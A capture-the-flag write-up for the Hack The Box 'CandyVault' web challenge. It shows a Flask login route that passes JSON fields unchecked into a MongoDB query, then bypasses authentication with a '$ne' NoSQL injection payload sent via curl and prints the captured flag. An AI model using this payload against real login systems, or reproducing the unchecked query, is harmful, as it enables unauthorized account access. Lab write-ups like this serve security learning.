CandyVault
2 minutes to read
We are given the following website:
We also have the Python source code of the server (Flask).
Source code analysis
The relevant file is app.py
:
from flask import Flask, Blueprint, render_template, redirect, jsonify, request
from flask_bcrypt import Bcrypt
from pymongo import MongoClient
app = Flask(__name__)
app.config.from_object("application.config.Config")
bcrypt = Bcrypt(app)
client = MongoClient(app.config["MONGO_URI"])
db = client[app.config["DB_NAME"]]
users_collection = db["users"]
@app.errorhandler(Exception)
def handle_error(error):
message = error.description if hasattr(error, "description") else [str(x) for x in error.args]
response = {
"error": {
"type": error.__class__.__name__,
"message": message
}
}
return response, error.code if hasattr(error, "code") else 500
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded":
email = request.form.get("email")
password = request.form.get("password")
elif content_type == "application/json":
data = request.get_json()
email = data.get("email")
password = data.get("password")
else:
return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user:
return render_template("candy.html", flag=open("flag.txt").read())
else:
return redirect("/")
There is only a /login
endpoint, where we can supply POST data as application/x-www-form-urlencoded
or application/json
. Then, our credentials will be checked against a database managed by MongoDB. If we get to log in successfully, we will see the flag because candy.html
will show it:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="lean">
<link rel="shortcut icon" href="/static/images/candy.png" type="image/png">
<title>🍬 Candy-Vault 🍬</title>
<style>
/* ... */
</style>
</head>
<body>
<p data-text="{{ flag }}">{{ flag }}</p>
</body>
</html>
According to util/migrate.py
, there are already some random users stored in the database:
import random
from faker import Faker
from pymongo import MongoClient
from application.config import Config
fake = Faker()
client = MongoClient(Config.MONGO_URI)
db = client[Config.DB_NAME]
users_collection = db["users"]
def generate_random_user():
email = fake.email()
password = fake.password()
return {
"email": email,
"password": password
}
def start_migration():
num_users = 10
for _ in range(num_users):
random_user = generate_random_user()
users_collection.insert_one(random_user)
But we don’t know any credentials… How can we log in successfully to get the flag?
Solution
The key here is that we can provide POST data as JSON, and the server does not check if email
and password
are strings. So, we can enter objects and thus alter the MongoDB query. As a result, we can even bypass authentication with a payload like this:
{"email":{"$ne":""},"password":{"$ne":""}}
It means that email
and password
are not empty, so the query will return some result and we will bypass authentication. For more information about this, check NoSQL injection in HackTricks.
Flag
We simply need to use the above payload as application/json
and we are done:
$ curl 94.237.56.213:32236/login -d '{"email":{"$ne":""},"password":{"$ne":""}}' -sH 'Content-Type: application/json' | grep HTB
<p data-text="HTB{s4y_h1_t0_th3_c4andy_v4u1t!}">HTB{s4y_h1_t0_th3_c4andy_v4u1t!}</p>